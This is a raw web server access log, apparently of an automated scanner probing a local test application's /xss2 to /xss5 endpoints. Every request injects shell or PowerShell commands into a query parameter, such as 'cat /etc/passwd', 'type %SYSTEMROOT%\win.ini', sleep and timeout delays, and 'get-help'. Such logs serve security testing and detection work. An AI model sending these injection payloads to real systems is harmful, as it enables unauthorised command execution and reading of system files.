172.17.0.2 - - [18/Oct/2017 08:05:16] "GET /xss2?a=k&name=Freyja%22%26cat+%2Fetc%2Fpasswd%26%22 HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:16] "GET /xss2?a=k&name=Freyja%22%3Bcat+%2Fetc%2Fpasswd%3B%22 HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:16] "GET /xss2?a=k&name=Freyja%27%26cat+%2Fetc%2Fpasswd%26%27 HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:16] "GET /xss2?a=k&name=Freyja%27%3Bcat+%2Fetc%2Fpasswd%3B%27 HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:16] "GET /xss2?a=k&name=Freyja%26sleep+15%26 HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:16] "GET /xss2?a=k&name=Freyja%3Bsleep+15%3B HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:16] "GET /xss2?a=k&name=Freyja%22%26sleep+15%26%22 HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:16] "GET /xss2?a=k&name=Freyja%22%3Bsleep+15%3B%22 HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:16] "GET /xss2?a=k&name=Freyja%26sleep+%7B0%7D%26 HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:16] "GET /xss2?a=k&name=Freyja%3Bsleep+%7B0%7D%3B HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:16] "GET /xss2?a=k&name=Freyja%26type+%25SYSTEMROOT%25%5Cwin.ini HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:16] "GET /xss2?a=k&name=Freyja%7Ctype+%25SYSTEMROOT%25%5Cwin.ini HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:16] "GET /xss2?a=k&name=Freyja%22%26type+%25SYSTEMROOT%25%5Cwin.ini%26%22 HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:16] "GET /xss2?a=k&name=Freyja%22%7Ctype+%25SYSTEMROOT%25%5Cwin.ini HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:16] "GET /xss2?a=k&name=Freyja%27%26type+%25SYSTEMROOT%25%5Cwin.ini%26%27 HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:16] "GET /xss2?a=k&name=Freyja%27%7Ctype+%25SYSTEMROOT%25%5Cwin.ini HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:16] "GET /xss2?a=k&name=Freyja%26timeout+%2FT+15 HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:16] "GET /xss2?a=k&name=Freyja%7Ctimeout+%2FT+15 HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:16] "GET /xss2?a=k&name=Freyja%22%26timeout+%2FT+15%26%22 HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:16] "GET /xss2?a=k&name=Freyja%22%7Ctimeout+%2FT+15 HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:16] "GET /xss2?a=k&name=Freyja%26timeout+%2FT+%7B0%7D%26 HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:16] "GET /xss2?a=k&name=Freyja%7Ctimeout+%2FT+%7B0%7D HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:16] "GET /xss2?a=k&name=Freyja%3Bget-help HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:16] "GET /xss2?a=k&name=Freyja%22%3Bget-help HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:16] "GET /xss2?a=k&name=Freyja%27%3Bget-help HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:16] "GET /xss2?a=k&name=Freyja%3Bget-help+%23 HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:16] "GET /xss2?a=k&name=Freyja%3Bstart-sleep+-s+15 HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:16] "GET /xss2?a=k&name=Freyja%22%3Bstart-sleep+-s+15 HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:16] "GET /xss2?a=k&name=Freyja%3Bstart-sleep+-s+%7B0%7D HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:16] "GET /xss2?a=k&name=Freyja%3Bstart-sleep+-s+15+%23 HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:16] "GET /xss3?a=k%26cat+%2Fetc%2Fpasswd%26&name=Frigg HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:16] "GET /xss3?a=k%3Bcat+%2Fetc%2Fpasswd%3B&name=Frigg HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:16] "GET /xss3?a=k%22%26cat+%2Fetc%2Fpasswd%26%22&name=Frigg HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:16] "GET /xss3?a=k%22%3Bcat+%2Fetc%2Fpasswd%3B%22&name=Frigg HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:16] "GET /xss3?a=k%27%26cat+%2Fetc%2Fpasswd%26%27&name=Frigg HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:16] "GET /xss3?a=k%27%3Bcat+%2Fetc%2Fpasswd%3B%27&name=Frigg HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:16] "GET /xss3?a=k%26sleep+15%26&name=Frigg HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:16] "GET /xss3?a=k%3Bsleep+15%3B&name=Frigg HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:16] "GET /xss3?a=k%22%26sleep+15%26%22&name=Frigg HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:16] "GET /xss3?a=k%22%3Bsleep+15%3B%22&name=Frigg HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:16] "GET /xss3?a=k%26sleep+%7B0%7D%26&name=Frigg HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:16] "GET /xss3?a=k%3Bsleep+%7B0%7D%3B&name=Frigg HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:16] "GET /xss3?a=k%26type+%25SYSTEMROOT%25%5Cwin.ini&name=Frigg HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:16] "GET /xss3?a=k%7Ctype+%25SYSTEMROOT%25%5Cwin.ini&name=Frigg HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:16] "GET /xss3?a=k%22%26type+%25SYSTEMROOT%25%5Cwin.ini%26%22&name=Frigg HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:16] "GET /xss3?a=k%22%7Ctype+%25SYSTEMROOT%25%5Cwin.ini&name=Frigg HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:16] "GET /xss3?a=k%27%26type+%25SYSTEMROOT%25%5Cwin.ini%26%27&name=Frigg HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:16] "GET /xss3?a=k%27%7Ctype+%25SYSTEMROOT%25%5Cwin.ini&name=Frigg HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:16] "GET /xss3?a=k%26timeout+%2FT+15&name=Frigg HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:16] "GET /xss3?a=k%7Ctimeout+%2FT+15&name=Frigg HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:16] "GET /xss3?a=k%22%26timeout+%2FT+15%26%22&name=Frigg HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:16] "GET /xss3?a=k%22%7Ctimeout+%2FT+15&name=Frigg HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:16] "GET /xss3?a=k%26timeout+%2FT+%7B0%7D%26&name=Frigg HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:16] "GET /xss3?a=k%7Ctimeout+%2FT+%7B0%7D&name=Frigg HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:16] "GET /xss3?a=k%3Bget-help&name=Frigg HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:16] "GET /xss3?a=k%22%3Bget-help&name=Frigg HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:16] "GET /xss3?a=k%27%3Bget-help&name=Frigg HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:16] "GET /xss3?a=k%3Bget-help+%23&name=Frigg HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:16] "GET /xss3?a=k%3Bstart-sleep+-s+15&name=Frigg HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:16] "GET /xss3?a=k%22%3Bstart-sleep+-s+15&name=Frigg HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:16] "GET /xss3?a=k%3Bstart-sleep+-s+%7B0%7D&name=Frigg HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:16] "GET /xss3?a=k%3Bstart-sleep+-s+15+%23&name=Frigg HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:16] "GET /xss3?a=k&name=Frigg%26cat+%2Fetc%2Fpasswd%26 HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:16] "GET /xss3?a=k&name=Frigg%3Bcat+%2Fetc%2Fpasswd%3B HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:16] "GET /xss3?a=k&name=Frigg%22%26cat+%2Fetc%2Fpasswd%26%22 HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:16] "GET /xss3?a=k&name=Frigg%22%3Bcat+%2Fetc%2Fpasswd%3B%22 HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:16] "GET /xss3?a=k&name=Frigg%27%26cat+%2Fetc%2Fpasswd%26%27 HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:16] "GET /xss3?a=k&name=Frigg%27%3Bcat+%2Fetc%2Fpasswd%3B%27 HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:16] "GET /xss3?a=k&name=Frigg%26sleep+15%26 HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:16] "GET /xss3?a=k&name=Frigg%3Bsleep+15%3B HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:16] "GET /xss3?a=k&name=Frigg%22%26sleep+15%26%22 HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:16] "GET /xss3?a=k&name=Frigg%22%3Bsleep+15%3B%22 HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:16] "GET /xss3?a=k&name=Frigg%26sleep+%7B0%7D%26 HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:16] "GET /xss3?a=k&name=Frigg%3Bsleep+%7B0%7D%3B HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:16] "GET /xss3?a=k&name=Frigg%26type+%25SYSTEMROOT%25%5Cwin.ini HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:16] "GET /xss3?a=k&name=Frigg%7Ctype+%25SYSTEMROOT%25%5Cwin.ini HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:16] "GET /xss3?a=k&name=Frigg%22%26type+%25SYSTEMROOT%25%5Cwin.ini%26%22 HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:16] "GET /xss3?a=k&name=Frigg%22%7Ctype+%25SYSTEMROOT%25%5Cwin.ini HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:16] "GET /xss3?a=k&name=Frigg%27%26type+%25SYSTEMROOT%25%5Cwin.ini%26%27 HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:16] "GET /xss3?a=k&name=Frigg%27%7Ctype+%25SYSTEMROOT%25%5Cwin.ini HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:16] "GET /xss3?a=k&name=Frigg%26timeout+%2FT+15 HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:16] "GET /xss3?a=k&name=Frigg%7Ctimeout+%2FT+15 HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:16] "GET /xss3?a=k&name=Frigg%22%26timeout+%2FT+15%26%22 HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:16] "GET /xss3?a=k&name=Frigg%22%7Ctimeout+%2FT+15 HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:16] "GET /xss3?a=k&name=Frigg%26timeout+%2FT+%7B0%7D%26 HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:16] "GET /xss3?a=k&name=Frigg%7Ctimeout+%2FT+%7B0%7D HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:16] "GET /xss3?a=k&name=Frigg%3Bget-help HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:16] "GET /xss3?a=k&name=Frigg%22%3Bget-help HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:16] "GET /xss3?a=k&name=Frigg%27%3Bget-help HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:16] "GET /xss3?a=k&name=Frigg%3Bget-help+%23 HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:16] "GET /xss3?a=k&name=Frigg%3Bstart-sleep+-s+15 HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:16] "GET /xss3?a=k&name=Frigg%22%3Bstart-sleep+-s+15 HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:16] "GET /xss3?a=k&name=Frigg%3Bstart-sleep+-s+%7B0%7D HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:16] "GET /xss3?a=k&name=Frigg%3Bstart-sleep+-s+15+%23 HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:16] "GET /xss4?a=k%26cat+%2Fetc%2Fpasswd%26&name=Odin HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:16] "GET /xss5?a=k%26cat+%2Fetc%2Fpasswd%26&name=Loki HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:16] "GET /xss4?a=k%3Bcat+%2Fetc%2Fpasswd%3B&name=Odin HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:16] "GET /xss5?a=k%3Bcat+%2Fetc%2Fpasswd%3B&name=Loki HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:16] "GET /xss5?a=k%22%26cat+%2Fetc%2Fpasswd%26%22&name=Loki HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:16] "GET /xss5?a=k%22%3Bcat+%2Fetc%2Fpasswd%3B%22&name=Loki HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:16] "GET /xss4?a=k%22%26cat+%2Fetc%2Fpasswd%26%22&name=Odin HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:16] "GET /xss5?a=k%27%26cat+%2Fetc%2Fpasswd%26%27&name=Loki HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:16] "GET /xss4?a=k%22%3Bcat+%2Fetc%2Fpasswd%3B%22&name=Odin HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:16] "GET /xss5?a=k%27%3Bcat+%2Fetc%2Fpasswd%3B%27&name=Loki HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:16] "GET /xss4?a=k%27%26cat+%2Fetc%2Fpasswd%26%27&name=Odin HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:16] "GET /xss5?a=k%26sleep+15%26&name=Loki HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:16] "GET /xss5?a=k%3Bsleep+15%3B&name=Loki HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:16] "GET /xss4?a=k%27%3Bcat+%2Fetc%2Fpasswd%3B%27&name=Odin HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:16] "GET /xss5?a=k%22%26sleep+15%26%22&name=Loki HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:16] "GET /xss4?a=k%26sleep+15%26&name=Odin HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:16] "GET /xss4?a=k%3Bsleep+15%3B&name=Odin HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:16] "GET /xss5?a=k%22%3Bsleep+15%3B%22&name=Loki HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:16] "GET /xss4?a=k%22%26sleep+15%26%22&name=Odin HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:16] "GET /xss5?a=k%26sleep+%7B0%7D%26&name=Loki HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:16] "GET /xss4?a=k%22%3Bsleep+15%3B%22&name=Odin HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:16] "GET /xss5?a=k%3Bsleep+%7B0%7D%3B&name=Loki HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:16] "GET /xss4?a=k%26sleep+%7B0%7D%26&name=Odin HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:16] "GET /xss5?a=k%26type+%25SYSTEMROOT%25%5Cwin.ini&name=Loki HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:16] "GET /xss4?a=k%3Bsleep+%7B0%7D%3B&name=Odin HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:16] "GET /xss5?a=k%7Ctype+%25SYSTEMROOT%25%5Cwin.ini&name=Loki HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:16] "GET /xss4?a=k%26type+%25SYSTEMROOT%25%5Cwin.ini&name=Odin HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:16] "GET /xss5?a=k%22%26type+%25SYSTEMROOT%25%5Cwin.ini%26%22&name=Loki HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:16] "GET /xss4?a=k%7Ctype+%25SYSTEMROOT%25%5Cwin.ini&name=Odin HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:16] "GET /xss4?a=k%22%26type+%25SYSTEMROOT%25%5Cwin.ini%26%22&name=Odin HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:16] "GET /xss5?a=k%22%7Ctype+%25SYSTEMROOT%25%5Cwin.ini&name=Loki HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:16] "GET /xss4?a=k%22%7Ctype+%25SYSTEMROOT%25%5Cwin.ini&name=Odin HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:16] "GET /xss4?a=k%27%26type+%25SYSTEMROOT%25%5Cwin.ini%26%27&name=Odin HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:16] "GET /xss5?a=k%27%26type+%25SYSTEMROOT%25%5Cwin.ini%26%27&name=Loki HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:16] "GET /xss4?a=k%27%7Ctype+%25SYSTEMROOT%25%5Cwin.ini&name=Odin HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:16] "GET /xss5?a=k%27%7Ctype+%25SYSTEMROOT%25%5Cwin.ini&name=Loki HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:16] "GET /xss4?a=k%26timeout+%2FT+15&name=Odin HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:16] "GET /xss5?a=k%26timeout+%2FT+15&name=Loki HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:16] "GET /xss4?a=k%7Ctimeout+%2FT+15&name=Odin HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:16] "GET /xss5?a=k%7Ctimeout+%2FT+15&name=Loki HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:16] "GET /xss4?a=k%22%26timeout+%2FT+15%26%22&name=Odin HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:16] "GET /xss5?a=k%22%26timeout+%2FT+15%26%22&name=Loki HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:16] "GET /xss4?a=k%22%7Ctimeout+%2FT+15&name=Odin HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:16] "GET /xss5?a=k%22%7Ctimeout+%2FT+15&name=Loki HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:16] "GET /xss4?a=k%26timeout+%2FT+%7B0%7D%26&name=Odin HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:16] "GET /xss5?a=k%26timeout+%2FT+%7B0%7D%26&name=Loki HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:16] "GET /xss4?a=k%7Ctimeout+%2FT+%7B0%7D&name=Odin HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:16] "GET /xss5?a=k%7Ctimeout+%2FT+%7B0%7D&name=Loki HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:16] "GET /xss4?a=k%3Bget-help&name=Odin HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:16] "GET /xss5?a=k%3Bget-help&name=Loki HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:16] "GET /xss5?a=k%22%3Bget-help&name=Loki HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:16] "GET /xss4?a=k%22%3Bget-help&name=Odin HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:16] "GET /xss5?a=k%27%3Bget-help&name=Loki HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:16] "GET /xss4?a=k%27%3Bget-help&name=Odin HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:16] "GET /xss5?a=k%3Bget-help+%23&name=Loki HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:16] "GET /xss4?a=k%3Bget-help+%23&name=Odin HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:16] "GET /xss5?a=k%3Bstart-sleep+-s+15&name=Loki HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:16] "GET /xss4?a=k%3Bstart-sleep+-s+15&name=Odin HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:16] "GET /xss5?a=k%22%3Bstart-sleep+-s+15&name=Loki HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:16] "GET /xss5?a=k%3Bstart-sleep+-s+%7B0%7D&name=Loki HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:16] "GET /xss4?a=k%22%3Bstart-sleep+-s+15&name=Odin HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:16] "GET /xss5?a=k%3Bstart-sleep+-s+15+%23&name=Loki HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:16] "GET /xss5?a=k&name=Loki%26cat+%2Fetc%2Fpasswd%26 HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:16] "GET /xss5?a=k&name=Loki%3Bcat+%2Fetc%2Fpasswd%3B HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:16] "GET /xss4?a=k%3Bstart-sleep+-s+%7B0%7D&name=Odin HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:16] "GET /xss5?a=k&name=Loki%22%26cat+%2Fetc%2Fpasswd%26%22 HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:16] "GET /xss4?a=k%3Bstart-sleep+-s+15+%23&name=Odin HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:16] "GET /xss5?a=k&name=Loki%22%3Bcat+%2Fetc%2Fpasswd%3B%22 HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:16] "GET /xss4?a=k&name=Odin%26cat+%2Fetc%2Fpasswd%26 HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:16] "GET /xss5?a=k&name=Loki%27%26cat+%2Fetc%2Fpasswd%26%27 HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:16] "GET /xss5?a=k&name=Loki%27%3Bcat+%2Fetc%2Fpasswd%3B%27 HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:16] "GET /xss4?a=k&name=Odin%3Bcat+%2Fetc%2Fpasswd%3B HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:16] "GET /xss4?a=k&name=Odin%22%26cat+%2Fetc%2Fpasswd%26%22 HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:16] "GET /xss5?a=k&name=Loki%26sleep+15%26 HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:16] "GET /xss4?a=k&name=Odin%22%3Bcat+%2Fetc%2Fpasswd%3B%22 HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:16] "GET /xss5?a=k&name=Loki%3Bsleep+15%3B HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:16] "GET /xss4?a=k&name=Odin%27%26cat+%2Fetc%2Fpasswd%26%27 HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:16] "GET /xss4?a=k&name=Odin%27%3Bcat+%2Fetc%2Fpasswd%3B%27 HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:16] "GET /xss5?a=k&name=Loki%22%26sleep+15%26%22 HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:16] "GET /xss5?a=k&name=Loki%22%3Bsleep+15%3B%22 HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:16] "GET /xss4?a=k&name=Odin%26sleep+15%26 HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:16] "GET /xss5?a=k&name=Loki%26sleep+%7B0%7D%26 HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:16] "GET /xss5?a=k&name=Loki%3Bsleep+%7B0%7D%3B HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:16] "GET /xss4?a=k&name=Odin%3Bsleep+15%3B HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:16] "GET /xss5?a=k&name=Loki%26type+%25SYSTEMROOT%25%5Cwin.ini HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:16] "GET /xss4?a=k&name=Odin%22%26sleep+15%26%22 HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:16] "GET /xss5?a=k&name=Loki%7Ctype+%25SYSTEMROOT%25%5Cwin.ini HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:16] "GET /xss4?a=k&name=Odin%22%3Bsleep+15%3B%22 HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:16] "GET /xss5?a=k&name=Loki%22%26type+%25SYSTEMROOT%25%5Cwin.ini%26%22 HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:16] "GET /xss4?a=k&name=Odin%26sleep+%7B0%7D%26 HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:16] "GET /xss5?a=k&name=Loki%22%7Ctype+%25SYSTEMROOT%25%5Cwin.ini HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:16] "GET /xss4?a=k&name=Odin%3Bsleep+%7B0%7D%3B HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:16] "GET /xss5?a=k&name=Loki%27%26type+%25SYSTEMROOT%25%5Cwin.ini%26%27 HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:16] "GET /xss5?a=k&name=Loki%27%7Ctype+%25SYSTEMROOT%25%5Cwin.ini HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:16] "GET /xss4?a=k&name=Odin%26type+%25SYSTEMROOT%25%5Cwin.ini HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:16] "GET /xss5?a=k&name=Loki%26timeout+%2FT+15 HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:16] "GET /xss4?a=k&name=Odin%7Ctype+%25SYSTEMROOT%25%5Cwin.ini HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:16] "GET /xss5?a=k&name=Loki%7Ctimeout+%2FT+15 HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:16] "GET /xss5?a=k&name=Loki%22%26timeout+%2FT+15%26%22 HTTP/1.1" 200 -
